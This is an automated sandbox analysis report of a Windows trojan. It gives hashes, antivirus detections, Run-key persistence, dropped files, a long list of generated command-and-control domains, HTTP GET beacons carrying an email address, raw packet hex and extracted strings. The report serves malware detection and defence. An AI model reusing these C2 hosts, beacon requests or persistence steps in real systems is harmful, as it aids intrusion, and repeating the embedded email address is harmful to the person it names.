Analysis Date2014-10-14 15:06:56
MD58a95930c164ee1fe42248ab9f727e604
SHA165c331aad9c5ea1dea3b4ac7ea9978b82f27ea22

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 9a05687dc943740958caf5df80f4f243 sha1: 0f3989e8d2179ecf1f75d823b1f9ea928f4d4b4d size: 121856
Section.rdata md5: aad235a6e4be6450de6d0c93c2b9559b sha1: a842e97d804f38819064a8be8e524595733db72d size: 16384
Section.data md5: 6b9608c2be9c614d614be4c2a7b6cb84 sha1: cb271be07a8c9b34bd047493e5c7f758f6fb28e0 size: 17408
Timestamp2014-01-22 06:29:05
PackerMicrosoft Visual C++ ?.?
PEhasha353fdf0ed9738616bc53d4a2e7109ebd617bf0e
IMPhash9becfa0f01deccc75f99c2ee54601623
AV360 SafeTrojan.GenericKD.1905785
AVAd-AwareTrojan.GenericKD.1905785
AVAlwil (avast)Agent-AUAI [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Agent.NK2.gen!Eldorado
AVAvira (antivir)TR/Crypt.ZPACK.105127
AVBullGuardTrojan.GenericKD.1905785
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)no_virus
AVClamAVno_virus
AVDr. Webno_virus
AVEmsisoftTrojan.GenericKD.1905785
AVEset (nod32)Win32/Agent.VNC
AVFortinetW32/Agent.VNC!tr
AVFrisk (f-prot)no_virus
AVF-SecureTrojan.GenericKD.1905785
AVGrisoft (avg)Generic_r.DMC
AVIkarusTrojan.FBLock
AVK7no_virus
AVKasperskyTrojan.Win32.Generic:Trojan.Win32.PEF.pf.silent.342863:Trojan.Win32.PEF.pf.silent.347637:Trojan.Win32.PEF.pf.silent.348577:Trojan.Win32.PEF.pf.silent.349247:Trojan.Win32.PEF.pf.silent.349979:Trojan.Win32.PEF.pf.silent.375505:Trojan.Win32.PEF.pf.silent.376163:Trojan.Win32.PEF.pf.silent.377057:Trojan.Win32.PEF.pf.silent.377789:Trojan.Win32.PEF.pf.silent.378627:Trojan.Win32.PEF.pf.silent.379268:Trojan.Win32.PEF.pf.silent.380179:Trojan.Win32.PEF.pf.silent.380996:Trojan.Win32.PEF.pf.silent.433356:Trojan.Win32.PEF.pf.silent.453058
AVMalwareBytesTrojan.Agent
AVMcafeeGeneric-FAOV!8A95930C164E
AVMicrosoft Security EssentialsTrojanSpy:Win32/Nivdort
AVMicroWorld (escan)Trojan.GenericKD.1905785
AVNormanwinpe/Troj_Generic.WEXDF
AVRisingno_virus
AVSophosTroj/Bckdr-RRM
AVSymantecno_virus
AVTrend Microno_virus
AVVirusBlokAda (vba32)no_virus
AVYara APTno_virus
AVZillya!no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Session Link-Layer Windows WebClient ➝
C:\Documents and Settings\Administrator\Application Data\kazxihaxshi\uzikubf.exe
Creates FileC:\Documents and Settings\Administrator\Application Data\kazxihaxshi\uzikubf.exe
Creates ProcessC:\Documents and Settings\Administrator\Application Data\kazxihaxshi\uzikubf.exe

Process
↳ C:\Documents and Settings\Administrator\Application Data\kazxihaxshi\uzikubf.exe

Creates FileC:\Documents and Settings\Administrator\Application Data\kazxihaxshi\uzikubf.wosg
Creates FileC:\Documents and Settings\Administrator\Application Data\kazxihaxshi\qzzqexweg.exe
Creates File\Device\Afd\Endpoint
Creates ProcessWATCHDOGPROC "C:\Documents and Settings\Administrator\Application Data\kazxihaxshi\uzikubf.exe"

Process
↳ WATCHDOGPROC "C:\Documents and Settings\Administrator\Application Data\kazxihaxshi\uzikubf.exe"

Network Details:

DNSthinkbright.net
Type: A
69.90.230.171
DNSmorningbright.net
Type: A
216.185.144.185
DNSthinkready.net
Type: A
208.109.181.72
DNSthinkpeople.net
Type: A
50.63.202.54
DNScollegeready.net
Type: A
192.254.214.203
DNSchiefpeople.net
Type: A
50.63.202.52
DNScollegepeople.net
Type: A
50.87.149.136
DNSthickanother.net
Type: A
DNSclassanother.net
Type: A
DNSthickbusiness.net
Type: A
DNSclassbusiness.net
Type: A
DNSthickappear.net
Type: A
DNSclassappear.net
Type: A
DNSthinkinstead.net
Type: A
DNSpresentinstead.net
Type: A
DNSthinkexplain.net
Type: A
DNSpresentexplain.net
Type: A
DNSpresentbright.net
Type: A
DNSthinkinside.net
Type: A
DNSpresentinside.net
Type: A
DNSchiefinstead.net
Type: A
DNScollegeinstead.net
Type: A
DNSchiefexplain.net
Type: A
DNScollegeexplain.net
Type: A
DNSchiefbright.net
Type: A
DNScollegebright.net
Type: A
DNSchiefinside.net
Type: A
DNScollegeinside.net
Type: A
DNSofteninstead.net
Type: A
DNSaloneinstead.net
Type: A
DNSoftenexplain.net
Type: A
DNSaloneexplain.net
Type: A
DNSoftenbright.net
Type: A
DNSalonebright.net
Type: A
DNSofteninside.net
Type: A
DNSaloneinside.net
Type: A
DNSmiddleinstead.net
Type: A
DNStwelveinstead.net
Type: A
DNSmiddleexplain.net
Type: A
DNStwelveexplain.net
Type: A
DNSmiddlebright.net
Type: A
DNStwelvebright.net
Type: A
DNSmiddleinside.net
Type: A
DNStwelveinside.net
Type: A
DNSratherinstead.net
Type: A
DNSmorninginstead.net
Type: A
DNSratherexplain.net
Type: A
DNSmorningexplain.net
Type: A
DNSratherbright.net
Type: A
DNSratherinside.net
Type: A
DNSmorninginside.net
Type: A
DNSstrangeinstead.net
Type: A
DNShistoryinstead.net
Type: A
DNSstrangeexplain.net
Type: A
DNShistoryexplain.net
Type: A
DNSstrangebright.net
Type: A
DNShistorybright.net
Type: A
DNSstrangeinside.net
Type: A
DNShistoryinside.net
Type: A
DNSamountinstead.net
Type: A
DNSweatherinstead.net
Type: A
DNSamountexplain.net
Type: A
DNSweatherexplain.net
Type: A
DNSamountbright.net
Type: A
DNSweatherbright.net
Type: A
DNSamountinside.net
Type: A
DNSweatherinside.net
Type: A
DNSthickinstead.net
Type: A
DNSclassinstead.net
Type: A
DNSthickexplain.net
Type: A
DNSclassexplain.net
Type: A
DNSthickbright.net
Type: A
DNSclassbright.net
Type: A
DNSthickinside.net
Type: A
DNSclassinside.net
Type: A
DNSpresentready.net
Type: A
DNSthinkbrown.net
Type: A
DNSpresentbrown.net
Type: A
DNSpresentpeople.net
Type: A
DNSthinkdaughter.net
Type: A
DNSpresentdaughter.net
Type: A
DNSchiefready.net
Type: A
DNSchiefbrown.net
Type: A
DNScollegebrown.net
Type: A
DNSchiefdaughter.net
Type: A
HTTP GEThttp://thinkbright.net/forum/search.php?email=adrian.grigoriu@yahoo.com&method=post
User-Agent:
HTTP GEThttp://morningbright.net/forum/search.php?email=adrian.grigoriu@yahoo.com&method=post
User-Agent:
HTTP GEThttp://thinkready.net/forum/search.php?email=adrian.grigoriu@yahoo.com&method=post
User-Agent:
HTTP GEThttp://thinkpeople.net/forum/search.php?email=adrian.grigoriu@yahoo.com&method=post
User-Agent:
HTTP GEThttp://collegeready.net/forum/search.php?email=adrian.grigoriu@yahoo.com&method=post
User-Agent:
HTTP GEThttp://chiefpeople.net/forum/search.php?email=adrian.grigoriu@yahoo.com&method=post
User-Agent:
HTTP GEThttp://collegepeople.net/forum/search.php?email=adrian.grigoriu@yahoo.com&method=post
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 69.90.230.171:80
Flows TCP192.168.1.1:1032 ➝ 216.185.144.185:80
Flows TCP192.168.1.1:1033 ➝ 208.109.181.72:80
Flows TCP192.168.1.1:1034 ➝ 50.63.202.54:80
Flows TCP192.168.1.1:1035 ➝ 192.254.214.203:80
Flows TCP192.168.1.1:1036 ➝ 50.63.202.52:80
Flows TCP192.168.1.1:1037 ➝ 50.87.149.136:80

Raw Pcap
0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 61647269   h.php?email=adri
0x00000020 (00032)   616e2e67 7269676f 72697540 7961686f   an.grigoriu@yaho
0x00000030 (00048)   6f2e636f 6d266d65 74686f64 3d706f73   o.com&method=pos
0x00000040 (00064)   74204854 54502f31 2e300d0a 41636365   t HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 696e6b62 72696768 742e6e65   : thinkbright.ne
0x00000080 (00128)   740d0a0d 0a                           t....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 61647269   h.php?email=adri
0x00000020 (00032)   616e2e67 7269676f 72697540 7961686f   an.grigoriu@yaho
0x00000030 (00048)   6f2e636f 6d266d65 74686f64 3d706f73   o.com&method=pos
0x00000040 (00064)   74204854 54502f31 2e300d0a 41636365   t HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206d6f 726e696e 67627269 6768742e   : morningbright.
0x00000080 (00128)   6e65740d 0a0d0a                       net....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 61647269   h.php?email=adri
0x00000020 (00032)   616e2e67 7269676f 72697540 7961686f   an.grigoriu@yaho
0x00000030 (00048)   6f2e636f 6d266d65 74686f64 3d706f73   o.com&method=pos
0x00000040 (00064)   74204854 54502f31 2e300d0a 41636365   t HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 696e6b72 65616479 2e6e6574   : thinkready.net
0x00000080 (00128)   0d0a0d0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 61647269   h.php?email=adri
0x00000020 (00032)   616e2e67 7269676f 72697540 7961686f   an.grigoriu@yaho
0x00000030 (00048)   6f2e636f 6d266d65 74686f64 3d706f73   o.com&method=pos
0x00000040 (00064)   74204854 54502f31 2e300d0a 41636365   t HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 696e6b70 656f706c 652e6e65   : thinkpeople.ne
0x00000080 (00128)   740d0a0d 0a0d0a                       t......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 61647269   h.php?email=adri
0x00000020 (00032)   616e2e67 7269676f 72697540 7961686f   an.grigoriu@yaho
0x00000030 (00048)   6f2e636f 6d266d65 74686f64 3d706f73   o.com&method=pos
0x00000040 (00064)   74204854 54502f31 2e300d0a 41636365   t HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a20636f 6c6c6567 65726561 64792e6e   : collegeready.n
0x00000080 (00128)   65740d0a 0d0a0a                       et.....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 61647269   h.php?email=adri
0x00000020 (00032)   616e2e67 7269676f 72697540 7961686f   an.grigoriu@yaho
0x00000030 (00048)   6f2e636f 6d266d65 74686f64 3d706f73   o.com&method=pos
0x00000040 (00064)   74204854 54502f31 2e300d0a 41636365   t HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206368 69656670 656f706c 652e6e65   : chiefpeople.ne
0x00000080 (00128)   740d0a0d 0a0a0a                       t......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 61647269   h.php?email=adri
0x00000020 (00032)   616e2e67 7269676f 72697540 7961686f   an.grigoriu@yaho
0x00000030 (00048)   6f2e636f 6d266d65 74686f64 3d706f73   o.com&method=pos
0x00000040 (00064)   74204854 54502f31 2e300d0a 41636365   t HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a20636f 6c6c6567 6570656f 706c652e   : collegepeople.
0x00000080 (00128)   6e65740d 0a0d0a                       net....


Strings
.
-E-
-0
-0010+-0
0
-0
CC
.00-+ 
.
-e-
. 
\
 
00
.
:\
:..
...........?- 
0
0
0
0
-

E(null)
                                 H
         (((((                  H
         h((((                  H
jjjjh
jjjjj
KERNEL32.DLL
mscoree.dll
                          
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
0A@@Ju
0HCHOW&Rp
0SSSSS
0WWWWW
1#QNAN
1#SNAN
55$L/!
8VVVVV
9$X4#hJch,
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
ActivateKeyboardLayout
ADVAPI32.dll
An application has made an attempt to load the C runtime library incorrectly.
<at9<rt,<wt
- Attempt to initialize the CRT more than once.
- Attempt to use MSIL code from this assembly during native code initialization
August
.?AVbad_alloc@std@@
.?AVbad_exception@std@@
.?AVexception@std@@
.?AVlength_error@std@@
.?AVlogic_error@std@@
.?AVout_of_range@std@@
.?AVtype_info@@
-.`a!WgEI
bad allocation
bad exception
 Base Class Array'
 Base Class Descriptor at (
__based(
BeginPaint
b P)rA
__cdecl
 Class Hierarchy Descriptor'
CloseHandle
__clrcall
CompareStringA
CompareStringW
 Complete Object Locator'
CONOUT$
`copy constructor closure'
CopyFileA
CorExitProcess
CreateDirectoryA
CreateEventA
CreateFileA
CreateIconFromResourceEx
CreateProcessA
CreateStreamOnHGlobal
CreateThread
CreateToolhelp32Snapshot
CreateWindowExA
- CRT not initialized
D$([_^]
D$0+\$p
@.data
D$d_^][3
dddd, MMMM dd, yyyy
D$\+D$T+
December
DecodePointer
`default constructor closure'
DefineDosDeviceA
DefWindowProcA
 delete
 delete[]
Delete
DeleteCriticalSection
D$HQWRPV
DispatchMessageA
DOMAIN error
D$@PQV
D$@PQVWW
DPtoLP
D$ SUVW
D$ SWP
D$T;D$
D$X+D$P
D$xSVW
`dynamic atexit destructor for '
`dynamic initializer for '
`eh vector constructor iterator'
`eh vector copy constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`eh vector vbase copy constructor iterator'
EncodePointer
EndPaint
EnterCriticalSection
EqualRect
ExitProcess
__fastcall
February
FileTimeToLocalFileTime
FileTimeToSystemTime
FindClose
FindFirstFileA
- floating point support not loaded
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
FlushFileBuffers
ForceRemove
FreeEnvironmentStringsA
FreeEnvironmentStringsW
Friday
^F<-uB
GAIsProcessorFeaturePresent
GDI32.dll
GetACP
GetActiveWindow
GetCommandLineA
GetComputerNameA
GetConsoleCP
GetConsoleMode
GetConsoleOutputCP
GetCPInfo
GetCurrentDirectoryA
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetDesktopWindow
GetDeviceCaps
GetDriveTypeA
GetEnvironmentStrings
GetEnvironmentStringsW
GetEnvironmentVariableA
GetFileAttributesA
GetFileSize
GetFileType
GetFullPathNameA
GetLastActivePopup
GetLastError
GetLocaleInfoA
GetMapMode
GetMessageA
GetModuleFileNameA
GetModuleHandleA
GetModuleHandleW
GetOEMCP
GetProcAddress
GetProcessHeap
GetProcessWindowStation
GetStartupInfoA
GetStdHandle
GetStockObject
GetStringTypeA
GetStringTypeW
GetSystemTimeAsFileTime
GetTempPathA
GetTextExtentExPointI
GetTickCount
GetTimeZoneInformation
GetTitleBarInfo
GetUserObjectInformationA
GetWindowDC
GetWindowRect
GlobalAlloc
GlobalFree
GlobalLock
GlobalUnlock
`h````
HeapAlloc
HeapCreate
HeapFree
HeapReAlloc
HeapSize
`h`hhh
HH:mm:ss
HHtXHHt
>If90t
InitializeCriticalSectionAndSpinCount
InterlockedDecrement
InterlockedIncrement
InvalidateRect
invalid string position
IRHjH 2
IsDebuggerPresent
IsValidCodePage
JanFebMarAprMayJunJulAugSepOctNovDec
January
j~h8BB
j,hP B
j hTHB
j@j ^V
\$<j~Rf
j"^SSSSS
K3s[y(
KERNEL32
KERNEL32.dll
LCMapStringA
LCMapStringW
LeaveCriticalSection
LoadCursorA
LoadLibraryA
`local static guard'
`local static thread guard'
`local vftable'
`local vftable constructor closure'
LPtoDP
L$(QRV
L$@QRV
L$@QRVW
L$<QUPW
L$ QUV
L$ WQP
`managed vector constructor iterator'
`managed vector copy constructor iterator'
`managed vector destructor iterator'
MessageBoxA
Microsoft Visual C++ Runtime Library
MM/dd/yy
Monday
MoveWindow
MulDiv
MultiByteToWideChar
 new[]
NoRemove
- not enough space for arguments
- not enough space for environment
- not enough space for locale information
- not enough space for lowio initialization
- not enough space for _onexit/atexit table
- not enough space for stdio initialization
- not enough space for thread data
November
(null)
<"ny=/
October
ole32.dll
OLEAUT32.dll
`omni callsig'
OpenProcess
operator
__pascal
`placement delete closure'
`placement delete[] closure'
Please contact the application's support team for more information.
PostQuitMessage
PPPPPPPP
\$ PQW
PrepareTape
Process32First
Process32Next
Program: 
<program name unknown>
__ptr64
- pure virtual function call
QQSVWd
QueryPerformanceCounter
RaiseException
R*B..@
`.rdata
ReadFile
RegCloseKey
RegisterClassExA
RegOpenKeyA
RegSetValueExA
__restrict
RtlUnwind
runtime error 
Runtime Error!
Saturday
`scalar deleting destructor'
September
SetColorAdjustment
SetEndOfFile
SetEnvironmentVariableA
SetEvent
SetFileAttributesA
SetFilePointer
SetFocus
SetHandleCount
SetLastError
SetMapMode
SetStdHandle
SetUnhandledExceptionFilter
SetWindowTextA
ShowWindow
SING error
SQSSSh
s[S;7|G;w
^SSSSS
__stdcall
`string'
string too long
Sunday
SunMonTueWedThuFriSat
SwapMouseButton
,td@-f
TerminateProcess
tGHt.Ht&
+t HHt
This application has requested the Runtime to terminate it in an unusual way.
__thiscall
This indicates a bug in your application.
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
!This program cannot be run in DOS mode.
T$HRPQ
Thursday
T'J:QW}S
< tK<	tG
TLOSS error
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
<\tM</tI
tR99u2
TranslateMessage
T$@RPV
T$@RPVWW
T$@RWVPP
t"SS9]
<+t(<-t$:
t$<"u	3
Tuesday
;t$,v-
t+WWVPV
 Type Descriptor'
`typeof'
>:u8FV
uBh1MA
`udt returning'
uL9=X}B
- unable to initialize heap
- unable to open console device
__unaligned
- unexpected heap error
- unexpected multithread lock error
UnhandledExceptionFilter
UNICODE
Unknown exception
UpdateWindow
UQPXY]Y[
URPQQh
USER32.dll
USER32.DLL
u[SSSP
UTF-16LE
`vbase destructor'
`vbtable'
`vcall'
`vector constructor iterator'
`vector copy constructor iterator'
`vector deleting destructor'
`vector destructor iterator'
`vector vbase constructor iterator'
`vector vbase copy constructor iterator'
`vftable'
VirtualAlloc
`virtual displacement map'
VirtualFree
v	N+D$
_VVVVV
VVVVVQRSSj
VWj4ht4B
VYD	~}Nz
WaitForSingleObject
Wednesday
WideCharToMultiByte
WriteConsoleA
WriteConsoleW
WriteFile
WS2_32.dll
^WWWWW
wyU3cd
xppwpp
xpxxxx
<xtX<XtT
>=Yt1j